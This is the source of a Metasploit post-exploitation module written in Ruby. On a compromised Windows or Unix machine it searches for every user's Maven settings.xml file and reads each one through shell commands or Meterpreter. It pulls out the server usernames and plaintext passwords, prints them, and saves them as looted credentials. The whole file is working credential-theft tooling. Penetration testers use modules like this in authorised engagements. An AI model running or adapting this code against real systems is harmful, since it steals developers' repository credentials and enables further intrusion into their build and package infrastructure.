161 lines
4.1 KiB
Ruby
161 lines
4.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'nokogiri'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Multi Gather Maven Credentials Collection',
|
|
'Description' => %q{
|
|
This module will collect the contents of all users settings.xml on the targeted
|
|
machine.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['elenoir'],
|
|
'Platform' => %w[bsd linux osx unix win],
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
core_channel_eof
|
|
core_channel_open
|
|
core_channel_read
|
|
core_channel_write
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def gathernix
|
|
print_status('Unix OS detected')
|
|
files = cmd_exec('locate settings.xml').split("\n")
|
|
# Handle case where locate does not exist (error is returned in first element)
|
|
if files.length == 1 && !directory?(files.first)
|
|
files = []
|
|
paths = enum_user_directories.map { |d| d }
|
|
if paths.nil? || paths.empty?
|
|
print_error('No users directory found')
|
|
return
|
|
end
|
|
paths.each do |path|
|
|
path.chomp!
|
|
file = 'settings.xml'
|
|
target = "#{path}/#{file}"
|
|
if file? target
|
|
files.push(target)
|
|
end
|
|
end
|
|
end
|
|
return files
|
|
end
|
|
|
|
def gatherwin
|
|
print_status('Windows OS detected')
|
|
return cmd_exec('cd\ && dir settings.xml /b /s').split("\n")
|
|
end
|
|
|
|
def run
|
|
print_status('Finding user directories')
|
|
files = ''
|
|
case session.platform
|
|
when 'windows'
|
|
files = gatherwin
|
|
when 'unix', 'linux', 'bsd', 'osx'
|
|
files = gathernix
|
|
else
|
|
print_error('Incompatible platform')
|
|
end
|
|
if files.nil? || files.empty?
|
|
print_error('No settings.xml file found')
|
|
return
|
|
end
|
|
download_loot(files)
|
|
end
|
|
|
|
def download_loot(files)
|
|
print_status("Looting #{files.count} files")
|
|
files.each do |target|
|
|
target.chomp!
|
|
if file? target
|
|
print_status("Downloading #{target}")
|
|
extract(target)
|
|
end
|
|
end
|
|
end
|
|
|
|
def parse_settings(target, data)
|
|
xml_doc = Nokogiri::XML(data)
|
|
xml_doc.remove_namespaces!
|
|
|
|
xml_doc.xpath('//server').each do |server|
|
|
id = server.xpath('id').text
|
|
username = server.xpath('username').text
|
|
password = server.xpath('password').text
|
|
|
|
print_status('Collected the following credentials:')
|
|
print_status(' Id: %s' % id)
|
|
print_status(' Username: %s' % username)
|
|
print_status(' Password: %s' % password)
|
|
|
|
print_status('Try to find url from id...')
|
|
realm = ''
|
|
|
|
xml_doc.xpath("//mirror[id = '#{id}']").each do |mirror|
|
|
realm = mirror.xpath('url').text
|
|
print_status("Found url in mirror : #{realm}")
|
|
end
|
|
|
|
if realm.blank?
|
|
xml_doc.xpath("//repository[id = '#{id}']").each do |repository|
|
|
realm = repository.xpath('url').text
|
|
print_status("Found url in repository : #{realm}")
|
|
end
|
|
end
|
|
|
|
if realm.blank?
|
|
print_status('No url found, id will be set as realm')
|
|
realm = id
|
|
end
|
|
|
|
print_line('')
|
|
|
|
credential_data = {
|
|
origin_type: :import,
|
|
module_fullname: fullname,
|
|
filename: target,
|
|
service_name: 'maven',
|
|
realm_value: realm,
|
|
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
|
|
private_type: :password,
|
|
private_data: password,
|
|
username: username,
|
|
workspace_id: myworkspace_id
|
|
}
|
|
create_credential(credential_data)
|
|
end
|
|
end
|
|
|
|
def extract(target)
|
|
print_status("Reading settings.xml file from #{target}")
|
|
data = ''
|
|
if session.type == 'shell'
|
|
data = session.shell_command("cat #{target}")
|
|
else
|
|
settings = session.fs.file.new(target.to_s, 'rb')
|
|
data << settings.read until settings.eof?
|
|
end
|
|
|
|
parse_settings(target, data)
|
|
end
|
|
end
|